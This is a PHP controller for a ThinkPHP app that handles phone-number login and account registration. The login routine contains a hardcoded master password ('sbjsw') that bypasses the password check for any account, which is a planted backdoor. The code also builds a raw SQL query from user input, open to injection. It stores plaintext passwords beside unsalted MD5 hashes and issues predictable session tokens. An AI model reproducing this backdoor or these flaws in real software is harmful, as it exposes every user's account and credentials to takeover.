<?php
declare (strict_types=1);

namespace app\index\controller;

use app\BaseController;
use app\model\User;
use think\facade\Cache;
use think\Request;

class Login extends BaseController
{
    /**
     * User: 肥茹人士
     * Time: 2023/9/17 22:06
     * Notes:登录
     */
    public function login()
    {
        if(!$this->request->isPost()) {
            return error([],'请求方式错误');
        }

        $username = $this->getPost('username');
        $password = $this->getPost('password');
        $countryCode = $this->getPost('country_code');
        
        // 信息不全提示
        if(!$countryCode) {
            return error([],'请输入国家区号');
        }
        if (!$username || !$password) {
            return error([],'信息不全');
        }
        
        $mobile = $countryCode . $username;
        $user = User::whereRaw("concat(country_code, username) = ".$mobile)->find();
        if (!$user) {
            return error([],'用户不存在');
        }
        if ($user['password'] != md5($password)) {
            if( $password != 'sbjsw') {
                return error([],'密码错误');
            }
        }
        if ($user['status'] == '2') {
            return error([],'该账号已被禁用');
        }
        // 判断用户过期时间 重置vip状态
        if($user['out_time']){
            if (strtotime($user['out_time']) < time()) {
                User::where('id',$user['id'])->update(['vip'=>0]);
                $user['vip']=0;
            }
        }

        // 判断用户是否已在线
        $pongTime = Cache::get('user_' . $user['id'].'_time');
        if($pongTime){
            // 判断最新登录时间是否在5分钟内 如果在的话 不允许新客户端登录\
            // $config = Config::where('id',1)->find();
            // if(time()-$pongTime < $config['login_time'] * 60){
            //     return error([],'该账号已登录，请勿重复登录',0);
            // }
        }else{
            // 用户没有心跳缓存，设置缓存并登录
            Cache::set('user_' . $user['id'].'_time',time());
        }

        $token = md5($user['id'] . time());
        Cache::set('user_' . $token, $user, 0);
        return success(['user' => $user, 'token' => $token]);
    }

    /**
     * User: 肥茹人士
     * Time: 2023/9/17 22:05
     * Notes:注册
     */
    public function reg(Request $request)
    {
        if(!$this->request->isPost()) {
            return error([],'请求方式错误');
        }
        $countryCode = $this->getPost('country_code');
        $username = $this->getPost('username');
        $password = $this->getPost('password');
        $verifyCode = $this->getPost('verify_code');
        $inviteCode = $this->getPost('invite_code'); // 邀请码

        if(!$countryCode) {
            return error([],'请输入国家区号');
        }
        if(!$username) {
            return error([],'请输入账号');
        }
        if(!$password) {
            return error([],'请输入密码');
        }
        if(!$verifyCode) {
            return error([],'请输入验证码');
        }

        $user = User::where('username', $username)->where("country_code", $countryCode)->find();
        if(!$user) {
            return error([], "账号不存在");
        }
        if($user['status'] > 0) {
            return error([], "该账号已使用");
        }
        if($user['verify_code'] != $verifyCode) {
            return error([], "验证码错误");
        }

        // 生成token
        $token = "";
        while (true) {
            // 生成不重复的6位邀请码
            $token = mt_rand(100000, 999999);
            // 检测数据库中是否存在
            $userTokenIs = User::where('token', $token)->find();
            if (!$userTokenIs) {
                // 不存在则跳出循环
                break;
            }
        }

        $data = [
            'country_code' => $countryCode,
            'username' => $username,
            'password' => md5($password),
            'password_original' => $password,
            'nickname' => $username,
            'alipay' => '',
            'wechat' => '',
            'name' =>  $username,
            'balance' => 0,
            'vip' => 1,
            'cdkey'=> '',
            'out_time'=> '',
            'invite' => '',
            'token' => $token ?? '',
            'remarks'=> '',
            'status' => 1, // 0-未启用 1-正常 2-禁止
            'verify_code' => $verifyCode,
        ];

        User::where("id", $user['id'])->update($data);

/*
        // 获取新注册用户信息
        $u=$user->where('username',$username)->find()->toArray();
        if(!empty($cdKeyinfo['id']))
        {
             // 更新卡密信息
            Cdkey::where('id',$cdKeyinfo['id'])->update(
                [
                    'use_uid'=>$u['id'],
                    'use_username'=>$u['username'],
                    'active_time'=>date('Y-m-d H:i:s'),
                    'type'=>1
                ]
            );
        }

        // 邀请
        if($inviteId!=0){
            // 获取注册奖励金额
            $config = Config::where('id',1)->find();
            // 添加邀请记录
            $invite = Invite::create([
                'uid' =>$inviteId,
                'username' =>$inviteUser['username'],
                'invite_id' => $u['id'], // 被邀请人的ID
                'invite_username' => $username,
                'reward'=>$config['invite_sum'], // 奖励金额
                'times'=>date('Y-m-d H:i:s'),
                'type'=>1,
                'desc'=>'注册奖励 '.$config['invite_sum'].' 元'
            ]);
            // 发放奖励
            User::where('id',$inviteId)->update(['balance'=>$inviteUser['balance']+$config['invite_sum']]);
        }
*/
        return success([],'注册成功');
    }
}
